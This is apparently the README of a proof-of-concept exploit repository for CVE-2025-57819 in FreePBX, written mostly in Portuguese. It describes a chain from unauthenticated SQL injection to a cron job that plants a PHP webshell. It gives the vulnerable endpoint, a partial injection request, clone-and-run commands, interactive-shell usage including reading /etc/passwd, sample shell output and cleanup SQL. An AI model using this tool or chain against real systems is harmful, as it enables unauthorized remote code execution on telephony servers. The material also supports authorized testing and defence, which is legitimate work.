
FreePBX injeção SQL não autenticada levando à execução remota de código, FreePBX 15 (abaixo de 15.0.66), 16 (abaixo de 16.0.89), 17 (abaixo de 17.0.3). A vulnerabilidade está localizada no módulo "endpoint" comercial, devido à filtragem insuficiente da entrada do usuário, permitindo que atacantes não autenticados contornem privilégios de administrador, executem injeção SQL e, por fim, alcancem a execução remota de código.
CVE-2025-57819 é uma vulnerabilidade crítica de injeção de SQL no FreePBX que permite a um atacante não autenticado obter execução remota de código ao encadear uma injeção de SQL com injeção de cron job.
⚠️ Aviso: Este repositório destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não é responsável por qualquer uso indevido ou dano.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2025-57819 |
| Produto Afetado | FreePBX (pré-autenticação) |
| Tipo de Vulnerabilidade | Injeção de SQL (consultas empilhadas) |
| Impacto | Execução Remota de Código (RCE) |
| Vetor de Ataque | Rede (HTTP GET) |
| Autenticação Necessária | ❌ Nenhuma |
┌────────────────────────────────────────────────────────────────┐
│ 1. Injeção de SQL │
│ POST /admin/ajax.php?brand= → consulta empilhada │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Injeção de Cron Job │
│ O cron job malicioso grava uma webshell PHP decodificada │
│ em base64 em /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. Acesso à WebShell │
│ GET /shell.php?cmd=<comando> → execução arbitrária de código│
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php processa o parâmetro brand sem sanitização adequada, permitindo consultas SQL empilhadas.INSERT INTO cron_jobs que agenda um comando malicioso a cada minuto.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
Ao usar --shell, o script entra em um pseudo-terminal:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
Digite exit (ou Ctrl-C, Ctrl-D) para sair da sessão.
Se você preferir etapas manuais, o exploit faz três coisas:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
O cron job injetado (* * * * *) é executado a cada minuto e grava a webshell.
GET /shell.php?cmd=id
Após o teste, remova a webshell e a entrada do cron job:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Em seguida, exclua /var/www/html/shell.php do sistema de arquivos.
/admin/ajax.php está acessível sem autenticaçãoEste projeto é fornecido apenas para fins educacionais e de pesquisa defensiva de segurança. Consulte o aviso no topo deste documento.